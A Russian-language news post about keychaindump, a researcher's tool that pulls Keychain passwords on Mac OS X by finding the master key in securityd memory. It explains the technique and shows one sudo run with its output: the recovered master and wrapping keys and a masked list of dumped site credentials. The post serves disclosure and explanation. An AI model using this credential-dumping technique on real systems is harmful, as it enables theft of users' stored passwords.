Финский исследователь Juuso Salonen опубликовал специальную утилиту (http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain), назначение которой заключается в выделении паролей из подсистемы управления парольной информации Keychain. Keychaindump уже привлекала внимание исследователей, которые убеждены, что подобный подход можно успешно использовать при разработке вредоносного кода под MAC OS X.
Впервые, она была представлена в MAC OS 8.6. Keychain хранит различные типы парольной информации (формы к WEB-сайтам, FTP, SSH-аккаунты, доступ к сетевым «шарам», беспроводным сетям, цифровые сертификаты).
Файлы Keychain хранятся в ~/Library/Keychains/, /Library/Keychains/, и /Network/Library/Keychains/ соответственно. «login», файл Keychain по-умолчанию, разблокировывается сразу же после успешного логина пользователя в систему со своим пользовательским паролем. Тем не менее, реальный пароль к нему может и не отличаться от того, что используется пользователем. При этом не разрешено устанавливать нулевой пароль, автоматическая блокировка осуществляется с течением времени при беспользовании системой.
Как только пользователь разлочил keychain, пароль превращается в 24-байтовй «master key» и хранится в сегменте памти процесса «securityd». Путем отдельного исследования, была выявлена конкретная хранимая структура в области памяти, которая указывает на «master key». Она содержит поле размером в 8 байт с соответствующим значением «0x18» (24 в HEX'е).
$ sudo ./keychaindump
[*] Searching process 15 heap range 0x7fa809400000-0x7fa809500000
[*] Searching process 15 heap range 0x7fa809500000-0x7fa809600000
[*] Searching process 15 heap range 0x7fa809600000-0x7fa809700000
[*] Searching process 15 heap range 0x7fa80a900000-0x7fa80ac00000
[*] Found 17 master key candidates
[*] Trying to decrypt wrapping key in /Users/juusosalonen/Library/Keychains/login.keychain
[*] Trying master key candidate: b49ad51a672bd4be55a4eb4efdb90b242a5f262ba80a95df
[*] Trying master key candidate: 22b8aa80fa0700605f53994940fcfe9acc44eb1f4587f1ac
[*] Trying master key candidate: 1d7aa80fa0700f002005043210074b877579996d09b70000
[*] Trying master key candidate: a0a20000000200f7474d400000700d01a980fa00007f085e
[*] Trying master key candidate: 180000000000000000000000000000000000000007000001
[*] Trying master key candidate: 0000b107000001000000803e970aa8710ae567eff7ff0000
[*] Trying master key candidate: 796a63507e6c2a84d9f095fae2896058dfe029cd0f7105da
[*] Trying master key candidate: 16ac866d636215c01e337e942f48cfed12d7c45bfab8dbf7
[*] Trying master key candidate: 070020539baab0d1d6a3aa80fa006877ed57f80fa0000000
[*] Trying master key candidate: 88edbaf22819a8eeb8e9b75120c0775de8a4d7da842d4a4a
[+] Found master key: 88edbaf22819a8eeb8e9b75120c0775de8a4d7da842d4a4a
[+] Found wrapping key: e9acc39947f1996df940fceb1f458ac74b877579f54409b7
xxxxxxx:192.168.1.1:xxxxxxx
xxxxxxx:news.ycombinator.com:xxxxxxx
xxxxxxx@gmail.com:login.facebook.com:xxxxxxx
xxxxxxx@gmail.com:smtp.google.com:xxxxxxx
xxxxxxx@gmail.com:imap.google.com:xxxxxxx
xxxxxxx@gmail.com:api.heroku.com:xxxxxxx
xxxxxxx:www.freechess.org:xxxxxxx
xxxxxxx:twitter.com:xxxxxxx
xxxxxxx@gmail.com:www.google.com:xxxxxxx
xxxxxxx:imap.gmail.com:xxxxxxx
Путем получения «master key» существует возможность раскрытия, так называемого «wrapping key». Путем его дешифровки становится возможным получить хранимые пароли в открытом виде. Исследователь считает, что данная уязвимость является использованием лазейки самой архитектуры ОС. Главная проблема — рут может читать keychain'ы других пользователей, а поиск самих «master key» и «wrapping key» достаточно примитивен.
Подробнее: http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain
Автор: skvz